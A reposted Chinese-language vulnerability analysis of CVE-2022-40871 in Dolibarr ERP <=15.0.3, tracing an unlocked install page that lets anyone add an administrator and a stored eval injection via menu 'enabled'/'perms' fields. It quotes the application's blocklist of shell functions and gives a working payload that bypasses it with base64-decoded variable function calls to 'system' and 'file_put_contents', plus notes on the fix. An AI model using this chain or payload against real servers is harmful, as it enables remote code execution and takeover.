CVE-2022-40871 Dolibarr任意添加管理员与RCE漏洞分析

admin 2022年11月15日03:17:33评论113 views字数 5445阅读18分9秒阅读模式

0x01 漏洞简介

Dolibarr ERP & CRM <=15.0.3 is vulnerable to Eval injection. By default, any administrator can be added to the installation page of dolibarr, and if successfully added, malicious code can be inserted into the database and then execute it by eval.

CVE编号:CVE-2022-2633

漏洞描述:Dolibarr edit.php 存在远程命令执行漏洞,攻击者通过逻辑漏洞创建管理员后可以通过后台漏洞获取服务器权限

影响版本:<= 15.0.3

0x02 漏洞分析

1.环境搭建

源码下载地址:https://github.com/Dolibarr/dolibarr/archive/refs/tags/15.0.3.zip

解压到web目录下直接访问~/htdocs/即可

CVE-2022-40871 Dolibarr任意添加管理员与RCE漏洞分析

然后配置一下conf/conf.php即可进行安装

2.任意管理员用户注册

这其实算是个逻辑漏洞,在install系统以后,他不会进行锁定,而是需要用户在documents目录中手动添加,所以我们随时可以进入这里去添加管理员账号:~/install/step4.php

比如这里我添加一个aaa用户

CVE-2022-40871 Dolibarr任意添加管理员与RCE漏洞分析

可以成功进入后台的

CVE-2022-40871 Dolibarr任意添加管理员与RCE漏洞分析

3.后台RCE

后台RCE的最后点在htdocs/core/lib/functions.lib.php的dol_eval()函数

但是这里是有waf的,把大多数的危险函数都给ban了

CVE-2022-40871 Dolibarr任意添加管理员与RCE漏洞分析

  // We block use of php exec or php file functions

$forbiddenphpstrings
= array('$$');

$forbiddenphpstrings
= array_merge($forbiddenphpstrings, array('_ENV', '_SESSION', '_COOKIE', '_GET', '_POST', '_REQUEST'));



$forbiddenphpfunctions
= array("exec", "passthru", "shell_exec", "system", "proc_open", "popen", "eval", "dol_eval", "executeCLI");

$forbiddenphpfunctions
= array_merge($forbiddenphpfunctions, array("fopen", "file_put_contents", "fputs", "fputscsv", "fwrite", "fpassthru", "require", "include", "mkdir", "rmdir", "symlink", "touch", "unlink", "umask"));

$forbiddenphpfunctions
= array_merge($forbiddenphpfunctions, array("function", "call_user_func"));



$forbiddenphpregex
= 'globals+$|b('.implode('|', $forbiddenphpfunctions).')b';



do {

$oldstringtoclean
= $s;

$s
= str_ireplace($forbiddenphpstrings, '__forbiddenstring__', $s);

$s
= preg_replace('/'.$forbiddenphpregex.'/i', '__forbiddenstring__', $s);

//$s = preg_replace('/$[a-zA-Z0-9_->$]+(/i', '', $s); // Remove $function( call and $mycall->mymethod(

}
while ($oldstringtoclean != $s);



if (strpos($s, '__forbiddenstring__') !== false) {

dol_syslog(
'Bad string syntax to evaluate: '.$s, LOG_WARNING);

if ($returnvalue) {

return 'Bad string syntax to evaluate: '.$s;

}
else {

dol_syslog(
'Bad string syntax to evaluate: '.$s);

return '';

}

}



//print $s."<br>n";

if ($returnvalue) {

if ($hideerrors) {

return @eval('return '.$s.';');

}
else {

return eval('return '.$s.';');

}

}
else {

if ($hideerrors) {

@eval($s);

}
else {

eval($s);

}

}

CVE-2022-40871 Dolibarr任意添加管理员与RCE漏洞分析

这里再去找找dol_eval()的调用,上面的verifCond()就调用了

而这里进行了一个拼接,这个外面后面再谈

CVE-2022-40871 Dolibarr任意添加管理员与RCE漏洞分析

function verifCond($strToEvaluate)

{

global $user, $conf, $langs;

global $leftmenu;

global $rights; // To export to dol_eval function



//print $strToEvaluate."<br>n";

$rights
= true;

if (isset($strToEvaluate) && $strToEvaluate !== '') {

$str
= 'if(!('.$strToEvaluate.')) $rights = false;';

dol_eval($str,
0, 1, '2');

}

return $rights;

}

CVE-2022-40871 Dolibarr任意添加管理员与RCE漏洞分析

再转而寻找verifCond函数的全局的参数可控的调用,在menubase.class.php的menuLoad()函数中就存在一个点

CVE-2022-40871 Dolibarr任意添加管理员与RCE漏洞分析

可以看到这里verifCond代码虽然是可控的,但是是从数据库中查询的结果中获取的

关注perms和enable,这两个都是可以直接进入verifCond的

       

CVE-2022-40871 Dolibarr任意添加管理员与RCE漏洞分析

 $resql = $this->db->query($sql);

if ($resql) {

$numa
= $this->db->num_rows($resql);



$a
= 0;

$b
= 0;

while ($a < $numa) {

//$objm = $this->db->fetch_object($resql);

$menu
= $this->db->fetch_array($resql);



// Define $right

$perms
= true;

if (isset($menu['perms'])) {

$tmpcond
= $menu['perms'];

if ($leftmenu == 'all') {

$tmpcond
= preg_replace('/$leftmenus*==s*["'a-zA-Z_]+/', '1==1', $tmpcond); // Force part of condition to true

}

$perms
= verifCond($tmpcond);

//print "verifCond rowid=".$menu['rowid']." ".$tmpcond.":".$perms."<br>n";

}



// Define $enabled

$enabled
= true;

if (isset($menu['enabled'])) {

$tmpcond
= $menu['enabled'];

if ($leftmenu == 'all') {

$tmpcond
= preg_replace('/$leftmenus*==s*["'a-zA-Z_]+/', '1==1', $tmpcond); // Force part of condition to true

}

$enabled
= verifCond($tmpcond);

}

CVE-2022-40871 Dolibarr任意添加管理员与RCE漏洞分析

我们去前面看看这里执行的sql语句,他是从".MAIN_DB_PREFIX."menu表中查询的数据,但是有WHERE条件语句

  • m.entity IN (0,".$conf->entity.")

  • m.menu_handler IN ('".$this->db->escape($menu_handler)."','all')

所以我们如果能找到一个INSERT进".MAIN_DB_PREFIX."menu中、可以控制perms和enable字段并且entity和menu_handler能满足WHERE条件的语句即可,这里注意entity来源于$conf->entity

CVE-2022-40871 Dolibarr任意添加管理员与RCE漏洞分析

$sql = "SELECT m.rowid, m.type, m.module, m.fk_menu, m.fk_mainmenu, m.fk_leftmenu, m.url, m.titre, m.prefix, m.langs, m.perms, m.enabled, m.target, m.mainmenu, m.leftmenu, m.position";

$sql .
= " FROM ".MAIN_DB_PREFIX."menu as m";

$sql .
= " WHERE m.entity IN (0,".$conf->entity.")";

$sql .
= " AND m.menu_handler IN ('".$this->db->escape($menu_handler)."','all')";

if ($type_user == 0) {

$sql .
= " AND m.usertype IN (0,2)";

}

if ($type_user == 1) {

$sql .
= " AND m.usertype IN (1,2)";

}

$sql .
= " ORDER BY m.position, m.rowid";

CVE-2022-40871 Dolibarr任意添加管理员与RCE漏洞分析

这里直接正则搜索一下,的确存在这么个点,在同一个文件的create()函数

CVE-2022-40871 Dolibarr任意添加管理员与RCE漏洞分析

接下来得看看参数是否可控,这里的VALUES设定为成员属性,但是entity是$conf->entity,这里就直接满足了条件,因为上面SQL查询也是这个

CVE-2022-40871 Dolibarr任意添加管理员与RCE漏洞分析

接下来发现menu_handler在执行menuLoad函数的时候都会自动填入的

CVE-2022-40871 Dolibarr任意添加管理员与RCE漏洞分析

所以这两个WHERE条件都解决了,剩下就是看perms和enable是否可控了,在类内部没看到有对成员变量赋值的地方,所以还得全局搜索一下

发现perms和enable在menus/edit.php中都是可以直接控制的

CVE-2022-40871 Dolibarr任意添加管理员与RCE漏洞分析

经过调试发现,这里menuId需要唯一否则会冲突无法写入数据库,这里的type需要设置为1,否则也会报错

CVE-2022-40871 Dolibarr任意添加管理员与RCE漏洞分析

接下来就可以研究一下,如何去绕过waf执行eval,这里作者的做法是利用php的特性:变量函数

CVE-2022-40871 Dolibarr任意添加管理员与RCE漏洞分析

// file_put_contents

$a
=base64_decode('ZmlsZV9wdXRfY29udGVudHM=');

// shellcode

$a(
'.1234.php',base64_decode('PD9waHAgcGhwaW5mbygpOz8+Cg=='));

CVE-2022-40871 Dolibarr任意添加管理员与RCE漏洞分析

再往前看verifCond函数

这里进行了一个字符串的拼接,由于是执行eval的,所以我们可以去闭合他的括号,注释掉后面的代码

CVE-2022-40871 Dolibarr任意添加管理员与RCE漏洞分析

function verifCond($strToEvaluate)

{

global $user, $conf, $langs;

global $leftmenu;

global $rights; // To export to dol_eval function



//print $strToEvaluate."<br>n";

$rights
= true;

if (isset($strToEvaluate) && $strToEvaluate !== '') {

$str
= 'if(!('.$strToEvaluate.')) $rights = false;';

dol_eval($str,
0, 1, '2');

}

return $rights;

}

CVE-2022-40871 Dolibarr任意添加管理员与RCE漏洞分析

也就是这样的一个payload(无害化的payload

1==1));$d=base64_decode('ZWNobyAnPCEtLScmJmVjaG8gcHduZWQhISEmJmlkJiZlY2hvJy0tPic=');$a=base64_decode('c3lzdGVt');$a($d);//

然后放在enable参数存入数据库,最后发包如下

CVE-2022-40871 Dolibarr任意添加管理员与RCE漏洞分析

成功存入数据库

CVE-2022-40871 Dolibarr任意添加管理员与RCE漏洞分析

debug一下,进入verifCond

CVE-2022-40871 Dolibarr任意添加管理员与RCE漏洞分析

跟进verifCond,恶意构造拼接绕过,进入dol_eval

CVE-2022-40871 Dolibarr任意添加管理员与RCE漏洞分析

代码执行成功

CVE-2022-40871 Dolibarr任意添加管理员与RCE漏洞分析

成功getshell

CVE-2022-40871 Dolibarr任意添加管理员与RCE漏洞分析

漏洞调用栈

CVE-2022-40871 Dolibarr任意添加管理员与RCE漏洞分析

0x03 漏洞总结

这里这个RCE漏洞,其实原理类似于二次注入,先把恶意代码存入数据库,再从数据库提取数据时触发恶意代码,这里还绕过了一个waf,利用的是php的特性——变量函数

漏洞修复

这里作者对于漏洞的修复一个是verifCond函数的加固

这里取消了字符串的拼接且让dol_eval的第四个参数为"1"

CVE-2022-40871 Dolibarr任意添加管理员与RCE漏洞分析

这样就会走入下面的这个判断,看注释这里的正则就是为了防止RCE而设计的

CVE-2022-40871 Dolibarr任意添加管理员与RCE漏洞分析

一个是dol_eval函数的加强,这里forbiddenphpfunctions里添加了verifCond函数,直接禁止了verifCond的执行,但是不太懂这有啥意义hhh

CVE-2022-40871 Dolibarr任意添加管理员与RCE漏洞分析

 

 

 



 

作者:Huamang

转自原文连接: https://blog.huamang.xyz/post/cve-2022-40871/


原文始发于微信公众号(渗透测试研究中心):CVE-2022-40871 Dolibarr任意添加管理员与RCE漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月15日03:17:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2022-40871 Dolibarr任意添加管理员与RCE漏洞分析https://cn-sec.com/archives/1408515.html

发表评论

匿名网友 填写信息